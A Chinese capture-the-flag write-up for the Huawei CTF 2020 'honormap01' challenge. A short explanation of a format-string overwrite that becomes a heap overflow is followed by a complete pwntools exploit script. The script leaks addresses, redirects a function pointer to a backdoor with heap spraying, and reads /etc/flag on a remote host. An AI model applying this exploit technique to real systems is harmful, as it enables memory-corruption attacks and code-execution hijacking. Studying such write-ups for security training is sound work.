0%

华为CTF2020第三场_honormap01

在输入width时使用的是%x格式化字符串,会输入4字节内存

而w位于h之上,那么就可以把h覆盖,从而绕过了对h的大小限制。

修改h以后,就能进行堆溢出了,首先越界读,泄露func指针,计算程序基址,计算后门函数。然后利用越界写将func指针修改为后门函数地址。接下来调用后面函数时,由于第一个参数是这个结构体本身,而w和h不能自由控制。因此我们使用堆喷构造好堆布局,使得有两个堆正好相邻,然后利用前一个堆溢出越界写当前结构体的内容。可以通过show前一个节点,来查看是否堆喷成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#coding:utf8
from pwn import *

context.log_level = 'debug'
#sh = remote('192.168.139.188',10001)
sh = remote('124.70.221.177',30107)

def add(type,h,w):
sh.sendlineafter('CMD >','alloc')
sh.sendlineafter('Height:',hex(h))
sh.sendlineafter('Width:',hex(w))
sh.sendlineafter('Map type:',str(type))

def delete(index):
sh.sendlineafter('CMD >','delete')
sh.sendlineafter('Index:',str(index))

def show(index):
sh.sendlineafter('CMD >','view')
sh.sendlineafter('Index:',str(index))


def edit0(index,x,y,size,content):
sh.sendlineafter('CMD >','edit')
sh.sendlineafter('Index:',str(index))
sh.sendlineafter('X:',str(x))
sh.sendlineafter('Y:',str(y))
sh.sendlineafter('size:',str(size))
sh.sendlineafter('Fill:',content)

def edit1(index,x,y,content):
sh.sendlineafter('CMD >','edit')
sh.sendlineafter('Index:',str(index))
sh.sendlineafter('X:',str(x))
sh.sendlineafter('Y:',str(y))
sh.sendlineafter('Value:',content)

add(0,0x19,0x1b0050)
for i in range(1,0x8):
add(0,0x19,0x50)

for i in range(0x8,0xf):
add(0,0x19,0x1f0050)
edit0(i,0,0,10,"tagtagta" + str(i))

show(0)
sh.recvuntil('Map: ')
for i in range(0x19):
sh.recvuntil('\n')
elf_base = u32(sh.recv(4)) - 0x11a0
backdoor = elf_base + 0x1350
print 'elf_base=',hex(elf_base)
print 'backdoor=',hex(backdoor)
cmd = '/etc/flag\x00'

def leak(n):
edit0(n,0,0,9,'a'*0x9)
show(n)
ans = sh.recvuntil('CMD >')
sh.sendline('')
offset = ans.index('tagtagta')
return offset - 0x64 + 0x5,int(ans[offset+8:offset + 10])

sh.sendline('')
offset,n = leak(8)
print n
edit0(n,0x19,0,0x4,p32(backdoor))
x = offset / 80
y = offset - x*80
print 'x=',x,'y=',y
edit0(8,x,y,len(cmd),cmd)
show(8)

#读取flag
sh.sendlineafter('CMD >','edit')
sh.sendlineafter('Index:',str(n))

sh.interactive()